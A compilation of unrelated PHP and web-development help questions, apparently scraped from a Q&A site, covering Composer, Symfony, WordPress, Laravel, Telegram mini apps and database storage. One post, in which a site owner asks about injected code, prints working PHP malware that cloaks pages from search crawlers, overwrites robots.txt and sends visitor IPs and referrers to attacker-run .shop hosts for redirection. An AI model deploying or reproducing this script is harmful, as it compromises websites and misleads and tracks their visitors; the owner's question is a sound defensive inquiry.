while doing composer install cmd in a proje from github throwing error

i downloaded a project from github(.zip) extracted it placed it in htdocs docs…while running the **composer install command **it’s showing “C:xampphtdocslegalcase>composer install

In Factory.php line 654:

The openssl extension is required for SSL/TLS protection but is not available. If you can not enable the openssl extension, you can disable this error, at your own risk, by setting the ‘disable-tls’ optio
n to true.

install [–prefer-source] [–prefer-dist] [–prefer-install PREFER-INSTALL] [–dry-run] [–download-only] [–dev] [–no-suggest] [–no-dev] [–no-autoloader] [–no-progress] [–no-install] [–audit] [–audit-format AUDIT-FORMAT] [-v|vv|vvv|–verbose] [-o|–optimize-autoloader] [-a|–classmap-authoritative] [–apcu-autoloader] [–apcu-autoloader-prefix APCU-AUTOLOADER-PREFIX] [–ignore-platform-req IGNORE-PLATFORM-REQ] [–ignore-platform-reqs] [–] […]”

Using symfony forms,im missing a html tag, why is this happening?

So the issue is only the first element from this for loop is missing the tags around the delete button, all other elements work fine and have the tags,i cant figure out why…any ideas?

Browser inspector: https://prnt.sc/5kxKQ23j8kqw

<tbody>
{% for taskForm in form.tasks %}
  {{ form_widget(taskForm.id) }}
  <tr>
    <td>{{ form_widget(taskForm.title) }}</td>
    <td>{{ form_widget(taskForm.content) }}</td>
    <td>{{ form_widget(taskForm.date) }}</td>
    <td class="text-center">{{ form_widget(taskForm.finished) }}</td>
    <td class="text-center">
      <form action="{{ path('app_task_delete', {id: taskForm.id.vars.value}) }}" method="post">
        <button type="submit" class="btn btn-danger">DELETE</button>
      </form>
    </td>
  </tr>
{% endfor %}
</tbody>

This is the form for a single task

TaskFormType

$builder
    ->add('id', HiddenType::class, ['required' => false, 'disabled' => true])
    ->add('title', TextType::class, [
        'attr' => ['class' => 'form-control'],
        'constraints' => [
            new NotBlank([
                'message' => 'Please enter a title',
            ]),
        ],
    ])
    
    ->add('content', TextType::class, [
        'attr' => ['class' => 'form-control'],
        'required' => false,
    ])
    ->add('date', DateTimeType::class, [
        'mapped' => true,
        'widget' => 'single_text',
        'attr' => ['class' => 'form-control'],
        'required' => false,
    ]);
    if ($options['finished_checkbox']) {
        $builder   
        ->add('finished', CheckboxType::class, [
            'mapped' => true,
            'required' => false,
        ]);
    }
;
}

public function configureOptions(OptionsResolver $resolver): void
{
$resolver->setDefaults([
    'data_class' => TodoTask::class,
    'finished_checkbox' => false,
]);
}

I list the tasks with this formBuilder.

TaskList

public function buildForm(FormBuilderInterface $builder, array $options)
{
    $builder->add('tasks', CollectionType::class, [
        'entry_type' => TaskFormType::class,
        'entry_options' => [
            'finished_checkbox' => true,
        ],
    ]);
}

What is This fishing hack base64 code for and how keep my index.php safe [closed]

Hackers put this code into a single page index.html i don’t have any WordPress on host now
I want know what is this code for and why they put it every few days on my index.php ? “IS THIS CODE DANGEROUS?”
And how i stop them ?

Thanks in advance

package WordPress
  */
$a=base64_decode('JHJlcV91cmkgPSBpc3NldCgkX1NFUlZFUlsnUk
$req_uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';
$self = isset($_SERVER['PHP_SELF']) ? $_SERVER['PHP_SELF'] : '';
$a = 'http://z41010_7.fishpan.shop/';
if(strstr($req_uri, 'store.php')){
    $a = 'http://z41007_7.palancea.shop/';
    $self = '/store.php';
}elseif(strstr($req_uri, 'shadow.php')){
    $a = 'http://z41006_7.fishpan.shop/';
    $self = '/shadow.php';
}

function curl_get_contents($url){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
    $file_contents = curl_exec($ch);
    curl_close($ch);
    return $file_contents;
}

function getServerCont($url, $data = array()){
    $url = str_replace(' ', '+', $url);
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    $output = curl_exec($ch);
    $errorCode = curl_errno($ch);
    curl_close($ch);
    if(0 !== $errorCode){
        return false;
    }
    return $output;
}

function is_crawler($agent){
    $agent_check = false;
    $bots='googlebot|google|yahoo|bing|aol';
    if($agent){
        if(preg_match("/($bots)/si", $agent)){
            $agent_check = true;
        }
    }
    return $agent_check;
}

function check_refer($refer){
    $check_refer = false;
    $referbots = 'google.co.jp|yahoo.co.jp|google.com';
    if($refer){
        if(preg_match("/($referbots)/si", $refer)){
            $check_refer=true;
        }
    }
    return $check_refer;
}

$http = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://');
$domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
$ser_name = isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : '';
$req_url = $http.$domain.$req_uri;
$indata1 = $a."/indata.php";
$map1 = $a."/map.php";
$jump1 = $a."/jump.php";
$url_words = $a."/words.php";
$url_robots = $a."/robots.php";
if(strpos($req_uri, ".php")){
    $href1 = $http.$domain.$self;
}else{
    $href1 = $http.$domain;
}

$data1 = array();
$data1['domain'] = $domain;
$data1['req_uri'] = $req_uri;
$data1['href'] = $href1;
$data1['req_url'] = $req_url;
if(substr($req_uri, -6) == 'robots'){
    define('BASE_PATH',$_SERVER['DOCUMENT_ROOT']);
    $robots_cont = @file_get_contents(BASE_PATH.'/robots.txt');
    $data1['robots_cont'] = $robots_cont;
    $robots_cont = @getServerCont($url_robots, $data1);
    file_put_contents(BASE_PATH.'/robots.txt', $robots_cont);
    $robots_cont = @file_get_contents(BASE_PATH.'/robots.txt');
    if(strpos(strtolower($robots_cont), "sitemap")){
        echo 'robots.txt file create success!';
    }else{
        echo 'robots.txt file create fail!';
    }
    exit();
}

if(substr($req_uri, -4) == '.xml'){
    if(strpos($req_uri, "allsitemap.xml") || strpos($req_uri, "sitemap-index.xml") || strpos($req_uri, "sitemap-index-1.xml") || strpos($req_uri, "index.xml")){
        $str_cont = getServerCont($map1, $data1);
        header("Content-type:text/xml");
        echo $str_cont;
        exit();
    }
    if(strpos($req_uri, ".php")){
        $word4 = explode("?", $req_uri);
        $word4 = $word4[count($word4)-1];
        $word4 = str_replace(".xml", "", $word4);
    }else{
        $word4 = str_replace("/", "", $req_uri);
        $word4 = str_replace(".xml", "", $word4);
    }
    $data1['word'] = $word4;
    $data1['action'] = 'check_sitemap';
    $check_url4 = getServerCont($url_words, $data1);
    if($check_url4 == '1'){
        $str_cont = getServerCont($map1, $data1);
        header("Content-type:text/xml");
        echo $str_cont;
        exit();
    }
    $data1['action']="check_words";
    $check1 = getServerCont($url_words, $data1);
    if(strpos($req_uri, "map") > 0 || $check1 == '1'){
        $data1['action'] = "rand_xml";
    }
    $check_url4 = getServerCont($url_words, $data1);
    header("Content-type:text/xml");
    echo $check_url4;
    exit();
}

if(strpos($req_uri, ".php")){
    $main_shell = $http.$ser_name.$self;
    $data1['main_shell'] = $main_shell;
}else{
    $main_shell = $http.$ser_name;
    $data1['main_shell'] = $main_shell;
}

$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$chk_refer = check_refer($referer);
$user_agent = strtolower(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '');
$res_crawl = is_crawler($user_agent);
if(strpos($req_uri, '.php')){
    $url_ext = '?';
}else{
    $url_ext = '/';
}
if(!$res_crawl && $chk_refer){
    $lang = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : '';
    if(preg_match('/ja/i', $lang) || preg_match("/^[a-z0-9]+[0-9]+$/", end(explode($url_ext, str_replace(array(".shtml",".html", ".htm"), "", $req_uri))))){
        $data1['ip'] = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';
        $data1['referer'] = $referer;
        $data1['user_agent'] = $user_agent;
        echo getServerCont($jump1, $data1);
        exit();
    }   
}
if($res_crawl){
    $data1['http_user_agent'] = $user_agent;
    $ser_cont = getServerCont($indata1, $data1);
    echo $ser_cont;exit();
}

My host support don’t answer me just say do you want we checking your site with antivirus lol , for 12 years i working with this hosting and they know I do codding and always talking lol

How to call wp-load.php from patterns folder

In function.php

function register_custom_patterns() {
    register_block_pattern(
        'twentytwentyfive/asif', // The pattern slug
        array(
            'title'       => __( 'Test Pattern', 'twentytwentyfive' ),
            'description' => __( 'A custom test pattern for the theme.', 'twentytwentyfive' ),
            'content'     => file_get_contents( get_template_directory_uri() . '/patterns/asif.php'), // Path to your custom PHP file
        )
    );
}
add_action( 'init', 'register_custom_patterns' );

Location of asif.php file

C:xampphtdocsasif_wpwp-contentthemestwentytwentyfivepatternsasif.php

asif.php code

   function asif() {
       echo "Working!";
    }
    add_action( 'init', 'asif' );

After loading Test Pattern in theme

Error:

Fatal error: Uncaught Error: Call to undefined function add_action() in C:xampphtdocsasif_wpwp-contentthemestwentytwentyfivepatternsasif.php:6
Stack trace:
#0 {main}
thrown in C:xampphtdocsasif_wpwp-contentthemestwentytwentyfivepatternsasif.php on line 6    

Then I edited asif.php

<?php
require_once('../../../../wp-load.php');
function asif() {
   echo "Working!";
}
add_action( 'init', 'asif' );

?>

Result:

Browser is loading (waiting) and passing through infinite loop and at the end my computer is hanging

How do I solve a problem where a textarea wont show updated value after form submits

I have a php form that submits values into a mysql dB. It all works fine and the data updates in the dB, but when I submit the form the textarea doesnt show the update value. All fields show the original values fine before submit. Text inputs show the update values fine but not the textarea. If I refresh the page after submit it shows the updated value. Can anyone help with this please. I have searched a lot of a solution but no luck.

PHP CODE

$query = "SELECT about FROM table WHERE id = 1";
$stmt = $conn->prepare($query);
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_assoc();

// Set default values if no existing data

$about = $row['about'] ?? '';

// Initialize message variables
$message = "";
$updated = false;

// Step 3: Handle form submission (if form is submitted)
if ($_SERVER["REQUEST_METHOD"] == "POST") {

    $newAbout = $_POST['about'];

    // Check if anything has changed before updating
    if ($newAbout !== $about) {
        // Update record in the database
        $updateQuery = "UPDATE static_pages SET about = ? WHERE id = 1";
        $stmt = $conn->prepare($updateQuery);
        $stmt->bind_param("s", $newAbout);

        if ($stmt->execute()) {
            // On successful update, fetch the updated record
            $row['about'] = $newAbout;
            $message = "Record updated successfully!";
            $updated = true;
        } else {
            $message = "Error updating record: " . $stmt->error;
        }
        $stmt->close();
    } else {
        // If no changes made, show a message
        $message = "No changes were made.";
    }
}

Form Code

<form method="POST" action="">
<textarea id="about" name="about" rows="20"><?php echo htmlspecialchars($about); ?></textarea>     
<button class="button_blue">Update</button>
</form>

Access denied from subfolder to root sub folder

I have my site structure as follows:

mysite.co.uk/admin/file.php

my images are stored:

mysite.co.uk/files/images/product/

The problem I am facing is the the code on the

mysite.co.uk/admin/file.php will not let me read the images in the products folder:

My code is as follows:

 $dir = "../files/images/product/";
    $dh  = opendir($dir);
    while (false !== ($filename = readdir($dh))) {
        $files[] = $filename;
        }
    sort($files);
    foreach ($files as $filename){
  echo "<option value='". $filename . "'>" . $filename . "</option>"; 
   }

Please any advise is welcome

I can see the files stored in ../files/images/ when changing the $dir to ../files/images/product the server send a HTTP502 error, which seems a bad gateway.

I have tried to allow url files/images/product in the firewall however that doesnt work either.

I have also tried to change the permission on the actual folder 0755 to 0644 but that caused a lot more problems

The server is godaddy.

Please any advise is welcome

How can I create and install a public certificate for the symfony webserver?

I understand that symfony server is only created for developement. I am developing a webservice that is used by another third party service. For testing and debugging I opened my local symfony webserver to be temporarily accessible from the internet. Now the thirdparty service refuses to connect because of an invalid SSL certificate, as the symfony certificate is referring to localhost.

Is it possible to have an additional certificate in place, that refers to my public domain?

Send Invoice In Telegram MiniApp

I recently wrote a mini app in PHP for my Telegram bot. I intend to allow users to make purchases using Stars within the mini app, but I don’t want the invoice to be sent within the bot. I want all processes, including sending, payment, and confirmation, to be handled within the mini app itself.

I couldn’t find suitable documentation for this, and I saw a similar example in the Memefi Coin mini app earlier. If possible, could you guide me? Thank you!

I previously examined the sendInvoice method for sending invoices through the bot, and it seems that it doesn’t have any functionality within the mini app. I tried to use the classes from the file telegram-web-app.js, such as WebApp.openInvoice, but I was unsuccessful, or I didn’t know how to use it and didn’t know where to obtain the input arguments for this function

For example, we have a button in the web app that, when clicked, will display a payment page with stars to the user:

<script src="https://telegram.org/js/telegram-web-app.js"></script> <button type="button" onclick="clicked('price')">Pay</button>

Now, after clicking this button, a payment page should be shown to the user within the web app. As far as I understand, this can be done using WebApp.openInvoice, but I haven’t been able to make it work. Where is my mistake?”

function clicked(price) {
    WebApp.openInvoice("https://t.me/mybotusername","https://example.com/mybot.php");
}

Problem connecting to DB via Ionos hosting service

I’m trying to set up a subscriber emailing list on my website. The php code appears to work on my localhost but not on the live server.

Nothing is appearing in the DB????

Here’s my code:

<?php
if (isset($_POST['Subscribe'])) { 
    // Assuming the submit button/hidden field name is "Subscribe"
    $userEmail = $_POST['email'];

    // Validate email address (optional but recommended)
    if (filter_var($userEmail, FILTER_VALIDATE_EMAIL)) {
        // Database configuration (replace sensitive details with environment variables)
        $servername = "db5016690051.hosting-data.io";
        $username = "dbu2398034";
        $password = "xxxxxxxxxxx";
        $dbname = "dbs13515622";

        // Create connection
        $conn = new mysqli($servername, $username, $password, $dbname);

        // Check connection
        if ($conn->connect_error) {
            die("Connection failed: " . htmlspecialchars($conn->connect_error));
        }

        // Prepare and execute an SQL statement to insert the email into the database
        $sql = "INSERT INTO `subscriber` (email) VALUES (?)";
        $stmt = $conn->prepare($sql);

        if ($stmt) {
            $stmt->bind_param("s", $userEmail);

            try {
                $stmt->execute();
                echo '<p>Email address successfully added to the list.</p>';
            } catch (Exception $e) {
                echo '<p>Error adding email address: ' . htmlspecialchars($e->getMessage()) . '</p>';
            }

            $stmt->close();
        } else {
            echo '<p>Failed to prepare the SQL statement.</p>';
        }

        // Close the connection
        $conn->close();
    } else {
        echo '<p>Invalid email address. Please try again.</p>';
    }
}
?>

I have tried different codes, Ionos help line and nothing is working!

Expected response status code [201, 301, 302, 303, 307, 308] but received 200. Failed asserting that false is true

Hallo i have this page test which is UserControllerTest. i tried to run PHP unit test in my laravel. i create this bellow

this is UserControllerTest

<?php

namespace TestsFeature;

use IlluminateFoundationTestingRefreshDatabase;
use IlluminateFoundationTestingWithFaker;
use TestsTestCase;

class UserControllerTest extends TestCase
{
   public function testLoginPage() {
        $this->get('/login')->assertSeeText('Login');
   }

   public function testLoginSuccess() {
      $this->post("/login", [
          "user" => "faisal",
          "password" => "yagami"
      ])->assertRedirect("/")->assertSessionHas("user", "faisal");
  }

  public function testValidationError() {
        $this->post("/login", [])->assertSeeText("User or Password is required"); 
  }
  
  public function testLoginFailed() {
    $this->post('/login', [
        "user" => "wrong",
        "password" => "wrong"
    ])->assertSeeText("User or Password is wrong");
  }

}

How to disable copy/paste and/or right-clicking on a specific word?

I want to protect from copy and paste/right-clicking only the content of this custom field:

$cin = esc_html__(get_post_meta( $post->ID, 'cin_code', true), 'sacconicase');

Up to now I found solutions only for the entire site content, such as this java, to be put in js folder

document.addEventListener( 'contextmenu', function(e) {
                          e.preventDefault();
                        }, false);

Save very small numbers in database

I need to save numbers(basically cost) of per API call in mySQL database, For example I am getting a response from API as follows:

$object = stdClass Object
(
    [id] => 2457457845
    [price] => -0.00870      /// In USD
)

Now I want to save the call cost in mysql database.

My column type is decimal(5,5).

My Table Structure

+-----------------------+--------------+------+-----+---------+----------------+
| Field                 | Type         | Null | Key | Default | Extra          |
+-----------------------+--------------+------+-----+---------+----------------+
| id                    | int unsigned | NO   | PRI | NULL    | auto_increment |
| created_at            | timestamp    | YES  |     | NULL    |                |
| updated_at            | timestamp    | YES  |     | NULL    |                |               |
| call_start_date_utc   | timestamp    | NO   |     | NULL    |                |
| call_end_date_utc     | timestamp    | NO   |     | NULL    |                |                |
| call_duration         | int          | NO   |     | NULL    |                |
| call_price            | decimal(5,5) | NO   |     | NULL    |                |
| call_forwarded_from   | varchar(50)  | YES  |     | NULL    |                |
+-----------------------+--------------+------+-----+---------+----------------+

I try save it to database in the following manner:

$tcd = new CallData;
$tcd->created_at = Carbon::now();
$tcd->updated_at = Carbon::now();
$tcd->call_start_date_utc = date('Y-m-d H:i:s', strtotime($call_data->startTime->format('Y-m-d H:i:s')));
$tcd->call_end_date_utc = date('Y-m-d H:i:s', strtotime($call_data->endTime->format('Y-m-d H:i:s')));
$tcd->call_duration = $call_data->duration;
$tcd->call_price = ($call_data->price > 0) ? $call_data->price : abs($call_data->price);
$tcd->call_forwarded_from = $call_data->forwardedFrom;
$tcd->save();

I tried change the decimal type of column call_price to varchar(50) in database still it saves as 0. I am using abs() to convert negative to positive(just for display purpose).

I just want to save it as 0.00870 in the database. Can anyone guide me please?

How to connect Laravel storage with Storj.io bucket for file uploads like S3?

I’m trying to connect my Laravel application to a Storj.io bucket for file uploads using Laravel’s built-in storage system (Storage::disk()), similar to how I would connect to AWS S3. However, I haven’t been able to get it working, and I’m stuck.

Here’s what I’ve done so far:
1. Environment Configuration:
I added the following details to my .env file:

AWS_ACCESS_KEY_ID=my_access_key
AWS_SECRET_ACCESS_KEY=my_secret_key
AWS_DEFAULT_REGION=us-east-1
AWS_BUCKET=my_storj_bucket
AWS_ENDPOINT=https://gateway.storjshare.io
AWS_USE_PATH_STYLE_ENDPOINT=true

I updated the s3 driver in config/filesystems.php:

's3' => [
    'driver' => 's3',
    'key' => env('AWS_ACCESS_KEY_ID'),
    'secret' => env('AWS_SECRET_ACCESS_KEY'),
    'region' => env('AWS_DEFAULT_REGION'),
    'bucket' => env('AWS_BUCKET'),
    'endpoint' => env('AWS_ENDPOINT'),
    'use_path_style_endpoint' => env('AWS_USE_PATH_STYLE_ENDPOINT', false),
],

I wrote a simple file upload function:

$path = $request->file('file')->store('uploads', 's3');

How to get Page Attributes in 2024 WordPress

In old version of WordPress I could assign custom page through Page Attributes like the image below.

enter image description here

Where is this option?

Also, previously I could write php code to create custom template. But now, there is Pattern and Parts section which are only html. Also template files are .html. How to create custom template file using php like before?

Codeigniter 4 – how to properly use entities

I haven’t used entities much and I am not sure if I am using correctly. I am trying to add favorite resorts to a table. Here is my code:

function myFavorite() {
    $resortID = $this->request->getVar('resortID');
    $user_id = $this->current_user->id;
    
     if ($resortID && $user_id) {
        // Load the model
        $SknowedWeatherFavoritesModel = new AppModelsSknowedWeatherFavoritesModel();

        // Create a new entity
        $SknowedWeatherFavoritesEntity = new AppEntitiesSknowedWeatherFavoritesEntity();
        $SknowedWeatherFavoritesEntity->sknowedWeather_id = $resortID;
        $SknowedWeatherFavoritesEntity->user_id = $user_id;

        // Save the entity
        if ($SknowedWeatherFavoritesModel->save($SknowedWeatherFavoritesEntity)) {
            return "Favorite added successfully.";
            die();
        } else {
            return "Failed to add favorite.";
            die();
        }
    } else {
        return "Missing resortID or user_id.";
        die();
    }
    
}

The above works. It I click myFavorite button on a resort, it will add, say for exmaple, id (auto inc), resortID and user_id.

the problem I am facing it that if I hit the myFavorite button again, it adds another identical record except the auto inc is increase by 1. I was reading the ->save will insert if new and update if already existing. How would I ensure no duplicate entry? or am I doing this all wrong?

Thank you for any pointers.